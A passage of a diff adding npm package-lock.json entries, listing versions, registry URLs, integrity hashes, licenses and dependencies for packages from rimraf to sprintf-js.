"resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "deprecated": "Rimraf versions prior to v4 are no longer supported", + "dev": true, + "license": "ISC", + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rollup": { + "version": "2.80.0", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.80.0.tgz", + "integrity": "sha512-cIFJOD1DESzpjOBl763Kp1AH7UE/0fcdHe6rZXUdQ9c50uvgigvW97u3IcSeBwOkgqL/PXPBktBCh0KEu5L8XQ==", + "dev": true, + "license": "MIT", + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=10.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/rollup-plugin-terser": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz", + "integrity": "sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==", + "deprecated": "This package has been deprecated and is no longer maintained. Please use @rollup/plugin-terser", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.10.4", + "jest-worker": "^26.2.1", + "serialize-javascript": "^4.0.0", + "terser": "^5.0.0" + }, + "peerDependencies": { + "rollup": "^2.0.0" + } + }, + "node_modules/rollup-plugin-terser/node_modules/jest-worker": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz", + "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^7.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/rollup-plugin-terser/node_modules/serialize-javascript": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz", + "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/safe-array-concat": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.3.tgz", + "integrity": "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "get-intrinsic": "^1.2.6", + "has-symbols": "^1.1.0", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">=0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/safe-push-apply": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/safe-push-apply/-/safe-push-apply-1.0.0.tgz", + "integrity": "sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safe-regex-test": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.1.0.tgz", + "integrity": "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "is-regex": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true, + "license": "MIT" + }, + "node_modules/sanitize.css": { + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/sanitize.css/-/sanitize.css-13.0.0.tgz", + "integrity": "sha512-ZRwKbh/eQ6w9vmTjkuG0Ioi3HBwPFce0O+v//ve+aOq1oeCy7jMV2qzzAlpsNuqpqCBjjriM1lbtZbF/Q8jVyA==", + "dev": true, + "license": "CC0-1.0" + }, + "node_modules/sass-loader": { + "version": "12.6.0", + "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-12.6.0.tgz", + "integrity": "sha512-oLTaH0YCtX4cfnJZxKSLAyglED0naiYfNG1iXfU5w1LNZ+ukoA5DtyDIN5zmKVZwYNJP4KRc5Y3hkWga+7tYfA==", + "dev": true, + "license": "MIT", + "dependencies": { + "klona": "^2.0.4", + "neo-async": "^2.6.2" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "fibers": ">= 3.1.0", + "node-sass": "^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0", + "sass": "^1.3.0", + "sass-embedded": "*", + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "fibers": { + "optional": true + }, + "node-sass": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + } + } + }, + "node_modules/sax": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz", + "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==", + "dev": true, + "license": "ISC" + }, + "node_modules/saxes": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/saxes/-/saxes-5.0.1.tgz", + "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==", + "dev": true, + "license": "ISC", + "dependencies": { + "xmlchars": "^2.2.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/scheduler": { + "version": "0.23.2", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.2.tgz", + "integrity": "sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0" + } + }, + "node_modules/schema-utils": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.3.3.tgz", + "integrity": "sha512-eflK8wEtyOE6+hsaRVPxvUKYCpRgzLqDTb8krvAsRIwOGlHoSgYLgBXoubGgLd2fT41/OUYdb48v4k4WWHQurA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/schema-utils/node_modules/ajv": { + "version": "8.18.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.18.0.tgz", + "integrity": "sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/schema-utils/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/schema-utils/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true, + "license": "MIT" + }, + "node_modules/scroll-into-view-if-needed": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/scroll-into-view-if-needed/-/scroll-into-view-if-needed-3.1.0.tgz", + "integrity": "sha512-49oNpRjWRvnU8NyGVmUaYG4jtTkNonFZI86MmGRDqBphEK2EXT9gdEUoQPZhuBM8yWHxCWbobltqYO5M4XrUvQ==", + "license": "MIT", + "dependencies": { + "compute-scroll-into-view": "^3.0.2" + } + }, + "node_modules/select-hose": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz", + "integrity": "sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg==", + "dev": true, + "license": "MIT" + }, + "node_modules/selfsigned": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-2.4.1.tgz", + "integrity": "sha512-th5B4L2U+eGLq1TVh7zNRGBapioSORUeymIydxgFpwww9d2qyKvtuPU2jJuHvYAwwqi2Y596QBL3eEqcPEYL8Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node-forge": "^1.3.0", + "node-forge": "^1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/send": { + "version": "0.19.2", + "resolved": "https://registry.npmjs.org/send/-/send-0.19.2.tgz", + "integrity": "sha512-VMbMxbDeehAxpOtWJXlcUS5E8iXh6QmN+BkRX1GARS3wRaXEEgzCcB10gTQazO42tpNIya8xIyNx8fll1OFPrg==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "~0.5.2", + "http-errors": "~2.0.1", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "~2.4.1", + "range-parser": "~1.2.1", + "statuses": "~2.0.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/send/node_modules/debug/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true, + "license": "MIT" + }, + "node_modules/serialize-javascript": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz", + "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/serve-index": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/serve-index/-/serve-index-1.9.2.tgz", + "integrity": "sha512-KDj11HScOaLmrPxl70KYNW1PksP4Nb/CLL2yvC+Qd2kHMPEEpfc4Re2e4FOay+bC/+XQl/7zAcWON3JVo5v3KQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "accepts": "~1.3.8", + "batch": "0.6.1", + "debug": "2.6.9", + "escape-html": "~1.0.3", + "http-errors": "~1.8.0", + "mime-types": "~2.1.35", + "parseurl": "~1.3.3" + }, + "engines": { + "node": ">= 0.8.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/serve-index/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/serve-index/node_modules/depd": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", + "integrity": "sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/http-errors": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.8.1.tgz", + "integrity": "sha512-Kpk9Sm7NmI+RHhnj6OIWDI1d6fIoFAtFt9RLaTMRlg/8w49juAStsrBgp0Dp4OdxdVbRIeKhtCUvoi/RuAhO4g==", + "dev": true, + "license": "MIT", + "dependencies": { + "depd": "~1.1.2", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": ">= 1.5.0 < 2", + "toidentifier": "1.0.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true, + "license": "MIT" + }, + "node_modules/serve-index/node_modules/statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-static": { + "version": "1.16.3", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.3.tgz", + "integrity": "sha512-x0RTqQel6g5SY7Lg6ZreMmsOzncHFU7nhnRWkKgWuMTu5NN0DR5oruckMqRvacAN9d5w6ARnRBXl9xhDCgfMeA==", + "dev": true, + "license": "MIT", + "dependencies": { + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "~0.19.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/set-function-name": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.2.tgz", + "integrity": "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "functions-have-names": "^1.2.3", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/set-proto": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/set-proto/-/set-proto-1.0.0.tgz", + "integrity": "sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==", + "dev": true, + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "dev": true, + "license": "ISC" + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/shell-quote": { + "version": "1.8.3", + "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.3.tgz", + "integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz", + "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3", + "side-channel-list": "^1.0.0", + "side-channel-map": "^1.0.1", + "side-channel-weakmap": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-list": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz", + "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-map": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", + "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-weakmap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", + "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3", + "side-channel-map": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/sisteransi": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", + "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==", + "dev": true, + "license": "MIT" + }, + "node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/sockjs": { + "version": "0.3.24", + "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.24.tgz", + "integrity": "sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "faye-websocket": "^0.11.3", + "uuid": "^8.3.2", + "websocket-driver": "^0.7.4" + } + }, + "node_modules/source-list-map": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz", + "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==", + "dev": true, + "license": "MIT" + }, + "node_modules/source-map": { + "version": "0.7.6", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.6.tgz", + "integrity": "sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">= 12" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-loader": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-3.0.2.tgz", + "integrity": "sha512-BokxPoLjyl3iOrgkWaakaxqnelAJSS+0V+De0kKIq6lyWrXuiPgYTGp6z3iHmqljKAaLXwZa+ctD8GccRJeVvg==", + "dev": true, + "license": "MIT", + "dependencies": { + "abab": "^2.0.5", + "iconv-lite": "^0.6.3", + "source-map-js": "^1.0.1" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dev": true, + "license": "MIT", + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/source-map-support/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/sourcemap-codec": { + "version": "1.4.8", + "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", + "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==", + "deprecated": "Please use @jridgewell/sourcemap-codec instead", + "dev": true, + "license": "MIT" + }, + "node_modules/spdy": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/spdy/-/spdy-4.0.2.tgz", + "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.1.0", + "handle-thing": "^2.0.0", + "http-deceiver": "^1.2.7", + "select-hose": "^2.0.0", + "spdy-transport": "^3.0.0" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/spdy-transport": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-3.0.0.tgz", + "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.1.0", + "detect-node": "^2.0.4", + "hpack.js": "^2.1.6", + "obuf": "^1.1.2", + "readable-stream": "^3.0.6", + "wbuf": "^1.7.3" + } + }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", + "dev": true, + "license": "BSD-3-Clause" + }, + 